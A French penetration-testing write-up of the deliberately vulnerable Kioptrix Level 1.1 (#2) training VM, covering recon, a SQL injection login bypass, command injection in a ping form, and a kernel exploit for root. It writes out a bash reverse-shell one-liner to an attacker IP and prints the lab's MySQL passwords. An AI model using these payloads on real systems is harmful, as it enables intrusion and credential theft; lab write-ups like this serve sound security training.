# Kioptrix: Level 1.1 (#2)

## Détails de la machine

**Nom :** Kioptrix: Level 1.1 (#2)\
**Date de sortie :** 11 Février 2011\
**Lien de téléchargement :** [http://www.kioptrix.com/dlvm/Kioptrix\_Level\_2.rar](http://www.kioptrix.com/dlvm/Kioptrix_Level_2.rar)\
**Niveau :** Facile\
**Objectif(s) :** obtenir un accès "root"\
**Description :**\
`This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.` \
\
`This is the second release of #2. First release had a bug in it with the web application`\
`2012/Feb/09: Re-releases`\
`2011/Feb/11: Original Release`

## Reconnaissance

`netdicover` permet d'identifier l'adresse IP 192.168.1.15 comme étant la victime :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LZQxVdrR2nj6QQrShT3%2F-LZQyj-yWpzurKt36bPM%2Fb236a71d370dbb557718fdf87b3310de.png?alt=media\&token=1faf32a9-8ae5-4813-8afd-536e2f54c18b)

Suivi de `nmap` afin de scanner les services s'exécutant sur la machine :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LZQxVdrR2nj6QQrShT3%2F-LZQz2gik9JgZnEM7R2o%2F3c98b193738de5640529c7488d16abb0.png?alt=media\&token=ff1692a0-265b-4b24-908e-377fec3f9c2e)

Résultat : un service SSH, un serveur web (en version HTTP et HTTPS), un serveur d'impression CUPS ainsi qu'une base de données MySQL.

### Serveur HTTP

Je commence directement par l'analyse du serveur web car je n'ai rien identifié de pertinent concernant la version 3.9 d'OpenSSH. Les résultats du `dirb` ainsi que du `nikto` ne donne rien de particulièrement intéressant non plus :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LZVB9CGrMu40rQW6Daq%2F-LZVCabZ9d-4NS6qQtsy%2F632f2601b754f23875ba841fe066b162.png?alt=media\&token=f6578af7-5bf1-49f2-8a74-f96162382772)

La sortie est tronquée avec un `-r` mais rien d'intéressant même dans les sous-dossiers. Voici la sortie du `nikto` :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LZVB9CGrMu40rQW6Daq%2F-LZVDe6KDQ3bBvSxWtor%2F25d8f8c69663c0bd739f30efba3f3a0c.png?alt=media\&token=6ef19aa6-6a92-40d6-96c4-15c2fb9eb25a)

Je passe donc à l'analyse manuelle du site web. La page d'accueil est une mire d'authentification. Après quelques weaks credentials je tente de détecter une injection SQL avec un simple `' OR 1=1 --` :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LZVB9CGrMu40rQW6Daq%2F-LZVFl4M9-8x6oYgQXB-%2F138b88530829224c303ba8a6da81f596.png?alt=media\&token=6cced7cc-5ff7-4a87-b55c-010d10bea223)

Cela fonctionne et me permet de récupérer la prochaine page qui est une fonction permettant de pinger une machine du réseau (ça sent l'injection de commande) :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LZVB9CGrMu40rQW6Daq%2F-LZVGI3YuqCAclUG5K34%2F387198eb410ca24f85d8650701874168.png?alt=media\&token=ff46e5fe-c5a1-4ed6-99ca-fed28df80ef2)

Je tente la plus simple des injections avec le caractère `;` permettant de séparer des commandes :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LZVB9CGrMu40rQW6Daq%2F-LZVGgq3kADjRtNU2-c2%2Fc740bfb3515f48418d595e5af47b73cd.png?alt=media\&token=8c083f57-96a6-4c62-8e09-d3100167bc43)

Je récupère l'id du compte apache qui exécute le serveur web. L'injection de commande est confirmée.

### Serveur d'impression

Cups est un serveur d'impression permettant aux utilisateurs de configurer les différents imprimantes. Pour cela il est également possible d'accéder au service par son interface web, dans mon cas un "403 - Forbidden" nous l'interdit :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LZVKA_IdEw5YgwMWioj%2F-LZVKkX2LJjANlE17Bqu%2F88a52f4707669bd539b88b458ac4fc88.png?alt=media\&token=70c6a034-e4b0-4c0f-a87b-f079a0b86b91)

La version utilisée de CUPS est la version 1.1, elle est vulnérable au moins à la CVE suivante (car je n'ai pas beaucoup cherché mais il semble que d'autres CVE soient disponibles pour cette version) :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LZVKA_IdEw5YgwMWioj%2F-LZVLLbzwNxh4Sc9T8HF%2Fd703a626c7f475515f7a4673dc41a387.png?alt=media\&token=2f6bb0b4-28fc-4b12-894c-fbdca4db74da)

### MySQL

Je ne connais pas la version du système de base de données afin de déterminer si le service est vulnérable à certaines CVE.

## Exploitation

### Injection de commande

Il est facile de récupérer un shell grâce à l'injection de commande. `netcat` ne semble pas disponible sur la machine cible, je suis donc passé par un `bash` grâce à la commande `;bash -i >& /dev/tcp/192.168.1.89/5555 0<&1`. Afin de l'utiliser dans la requête POST je l'ai préalablement encodée avec un encodage URL :&#x20;

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LZVMNr1DB7L8k_Km0OA%2F-LZVNFqGf9PhvWSlItDC%2F6fe012f0214d723cfac732eb5a647144.png?alt=media\&token=8c5347aa-6ace-40f9-b717-98b304f4cc4c)

Côté machine d'attaque, un `netcat` en écoute sur le port 5555 :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LZVMNr1DB7L8k_Km0OA%2F-LZVNYLiw43KdGZ5vZza%2F4ba3d8e2bcdca66ab9ba25049194b65d.png?alt=media\&token=232a1c9d-5429-48d2-9b39-bf9ebc7a813f)

## Élévation de privilèges

Un `uname -a` m'indique une version de kernel 2.6.9 sur une Fedora 4.5 qui est vulnérable à la CVE-2009-2698 :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LZVNbVgIWWtLC8ctrc2%2F-LZVOBW-niuJUNhXsJbM%2Fb7815d98dd05fd179ce4526541faac60.png?alt=media\&token=d4fad1a8-c5df-4e53-80bf-b8ac011ae07e)

Voici la CVE :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LZVNbVgIWWtLC8ctrc2%2F-LZVOT-84ZPG30JfRrea%2Faf4235a012598d0cfece5e368071a386.png?alt=media\&token=1d20acb1-4edb-4d21-8e8f-1b6de64d5f70)

Une fois l'exploit ([https://www.exploit-db.com/exploits/9542](https://www.exploit-db.com/exploits/9542)) compilé et exécuté, j'obtiens les droits "root" :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LZVNbVgIWWtLC8ctrc2%2F-LZVOnDIPKAqaphBnL99%2Fb0bc23db78339563d8cf5087c24d1552.png?alt=media\&token=0a30e839-6d7b-4292-8d86-33adb1bbafbd)

## Conclusion

Il est également possible de récupérer les credentials de MySQL en affichant le fichier "index.php" du site web (soit une fois le shell récupéré ou alors via l'injection de commande) :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LZVOtK220lK3PHDfMJM%2F-LZVPCqQsXYlPVdjuM04%2F1dcd2f0b309cefd3548130d52d19cec1.png?alt=media\&token=3cda3272-ab2b-43d0-8be4-7d5bae6d89da)

L'accès est refusé à partir d'une autre machine, mais une fois le shell récupéré grâce à l'injection de commande le contenu de la base est accessible :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LZVOtK220lK3PHDfMJM%2F-LZVQ3mHNx0CcjVdXmw8%2Fd386607ad7c9b223571ecc7e9baec8b5.png?alt=media\&token=373a03e8-912b-40a5-814e-c461b1230619)

Mais aucun des mots de passe ("hiroshima", ou "66lajGGbla") ne semble être le mot de passe du compte de "john" pour un accès en SSH. Pour information voici le contenu du fichier "/etc/passwd" :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LZVOtK220lK3PHDfMJM%2F-LZVQcq9YOaGw5JycNZ-%2Fed4a366ae26ff7fd9393cb853207f4b6.png?alt=media\&token=fd647dbc-6118-4108-accb-bcbf70982610)

Je n'ai pas était plus loin dans la compromission des comptes existants, aucun mot de passe ne semble traîner dans un fichier quelconque.

Cette machine était très facile et donc parfaite pour commencer le pentest. Rien de compliqué, des failles web et un LPE à coup d'exploit d'un kernel vulnérable.
